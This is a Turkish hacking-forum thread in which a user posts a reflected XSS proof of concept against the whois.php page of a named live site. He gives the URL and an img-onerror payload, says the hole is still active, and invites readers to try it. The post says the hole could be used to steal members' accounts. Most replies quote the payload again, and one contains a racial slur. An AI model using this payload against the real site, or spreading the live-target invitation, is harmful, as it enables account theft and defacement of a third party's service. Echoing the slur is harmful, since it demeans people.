Spyhackerz hacked , Xss Açığı | LETRX

Selamlar herkese sabah whois sorgulamak için girdiğim yerde 10 dakikada bulduğum xss'tir.
-Pek zararı olur mu?
+Tabikide olur.
prompt değeri alınarak üyelerin hesabı çalınabilir yada benım yaptığım gibi url kısmına html tagları içinde index atılabilir bu heyk sayılmaz ama yinede {reflected xss} en tehlikeli açık türüdür.

Ödül : 0$

Açık hala aktif kendiniz deneyebilirsiniz.
PoC:

[like]
Url : https://spyhackerz.org/whois.php?domain
Payload: ">$cat /<img id=%26%23x101; src=x onerror=%26%23x101;;alert`HEYKID-BY-LETRX`;>

[/like]

LETRX
Yakup YILDIR​

 

helal olsun

 

Selamlar herkese sabah whois sorgulamak için girdiğim yerde 10 dakikada bulduğum xss'tir.
-Pek zararı olur mu?
+Tabikide olur.
prompt değeri alınarak üyelerin hesabı çalınabilir yada benım yaptığım gibi url kısmına html tagları içinde index atılabilir bu heyk sayılmaz ama yinede {reflected xss} en tehlikeli açık türüdür.

Ödül : 0$

Açık hala aktif kendiniz deneyebilirsiniz.
PoC:

[like]
Url : https://spyhackerz.org/whois.php?domain
Payload: ">$cat /<img id=%26%23x101; src=x onerror=%26%23x101;;alert`HEYKID-BY-LETRX`;>

[/like]

LETRX
Yakup YILDIR​

 

Selamlar herkese sabah whois sorgulamak için girdiğim yerde 10 dakikada bulduğum xss'tir.
-Pek zararı olur mu?
+Tabikide olur.
prompt değeri alınarak üyelerin hesabı çalınabilir yada benım yaptığım gibi url kısmına html tagları içinde index atılabilir bu heyk sayılmaz ama yinede {reflected xss} en tehlikeli açık türüdür.

Ödül : 0$

Açık hala aktif kendiniz deneyebilirsiniz.
PoC:

[like]
Url : https://spyhackerz.org/whois.php?domain
Payload: ">$cat /<img id=%26%23x101; src=x onerror=%26%23x101;;alert`HEYKID-BY-LETRX`;>

[/like]

LETRX
Yakup YILDIR​

bakalım

 

Acayip merak etmiştim sabah bakıcam

 

Selamlar herkese sabah whois sorgulamak için girdiğim yerde 10 dakikada bulduğum xss'tir.
-Pek zararı olur mu?
+Tabikide olur.
prompt değeri alınarak üyelerin hesabı çalınabilir yada benım yaptığım gibi url kısmına html tagları içinde index atılabilir bu heyk sayılmaz ama yinede {reflected xss} en tehlikeli açık türüdür.

Ödül : 0$

Açık hala aktif kendiniz deneyebilirsiniz.
PoC:

[like]
Url : https://spyhackerz.org/whois.php?domain
Payload: ">$cat /<img id=%26%23x101; src=x onerror=%26%23x101;;alert`HEYKID-BY-LETRX`;>

[/like]

LETRX
Yakup YILDIR​

Helal Olsun Beee

 

Helal Olsun

 

+

 

bkm

 

bklmmmmm

 

Selamlar herkese sabah whois sorgulamak için girdiğim yerde 10 dakikada bulduğum xss'tir.
-Pek zararı olur mu?
+Tabikide olur.
prompt değeri alınarak üyelerin hesabı çalınabilir yada benım yaptığım gibi url kısmına html tagları içinde index atılabilir bu heyk sayılmaz ama yinede {reflected xss} en tehlikeli açık türüdür.

Ödül : 0$

Açık hala aktif kendiniz deneyebilirsiniz.
PoC:

[like]
Url : https://spyhackerz.org/whois.php?domain
Payload: ">$cat /<img id=%26%23x101; src=x onerror=%26%23x101;;alert`HEYKID-BY-LETRX`;>

[/like]

LETRX
Yakup YILDIR​

Helal kardesim

 

Selamlar herkese sabah whois sorgulamak için girdiğim yerde 10 dakikada bulduğum xss'tir.
-Pek zararı olur mu?
+Tabikide olur.
prompt değeri alınarak üyelerin hesabı çalınabilir yada benım yaptığım gibi url kısmına html tagları içinde index atılabilir bu heyk sayılmaz ama yinede {reflected xss} en tehlikeli açık türüdür.

Ödül : 0$

Açık hala aktif kendiniz deneyebilirsiniz.
PoC:

[like]
Url : https://spyhackerz.org/whois.php?domain
Payload: ">$cat /<img id=%26%23x101; src=x onerror=%26%23x101;;alert`HEYKID-BY-LETRX`;>

[/like]

LETRX
Yakup YILDIR​

Bakak

 

Selamlar herkese sabah whois sorgulamak için girdiğim yerde 10 dakikada bulduğum xss'tir.
-Pek zararı olur mu?
+Tabikide olur.
prompt değeri alınarak üyelerin hesabı çalınabilir yada benım yaptığım gibi url kısmına html tagları içinde index atılabilir bu heyk sayılmaz ama yinede {reflected xss} en tehlikeli açık türüdür.

Ödül : 0$

Açık hala aktif kendiniz deneyebilirsiniz.
PoC:

[like]
Url : https://spyhackerz.org/whois.php?domain
Payload: ">$cat /<img id=%26%23x101; src=x onerror=%26%23x101;;alert`HEYKID-BY-LETRX`;>
HLL

[/like]

LETRX
Yakup YILDIR​

 

Bakim

 

bakalım

 

İnstada görmüştüm, eline sağlık

 

Selamlar herkese sabah whois sorgulamak için girdiğim yerde 10 dakikada bulduğum xss'tir.
-Pek zararı olur mu?
+Tabikide olur.
prompt değeri alınarak üyelerin hesabı çalınabilir yada benım yaptığım gibi url kısmına html tagları içinde index atılabilir bu heyk sayılmaz ama yinede {reflected xss} en tehlikeli açık türüdür.

Ödül : 0$

Açık hala aktif kendiniz deneyebilirsiniz.
PoC:

[like]
Url : https://spyhackerz.org/whois.php?domain
Payload: ">$cat /<img id=%26%23x101; src=x onerror=%26%23x101;;alert`HEYKID-BY-LETRX`;>

[/like]

LETRX
Yakup YILDIR​

teşekkürler

 

Selamlar herkese sabah whois sorgulamak için girdiğim yerde 10 dakikada bulduğum xss'tir.
-Pek zararı olur mu?
+Tabikide olur.
prompt değeri alınarak üyelerin hesabı çalınabilir yada benım yaptığım gibi url kısmına html tagları içinde index atılabilir bu heyk sayılmaz ama yinede {reflected xss} en tehlikeli açık türüdür.

Ödül : 0$

Açık hala aktif kendiniz deneyebilirsiniz.
PoC:

[like]
Url : https://spyhackerz.org/whois.php?domain
Payload: ">$cat /<img id=%26%23x101; src=x onerror=%26%23x101;;alert`HEYKID-BY-LETRX`;>

[/like]

LETRX
Yakup YILDIR​

 

dur baqım

 

herkese teşekkürler arkadaşlar

 

Bakalım

 

helal olsun

bakım

 

bakalım

 

bakalım

 

oh shit nigga.

 

elinize sağlık hocam

 

Tebrikler

 

bakalım

 

bakim

 

bakalım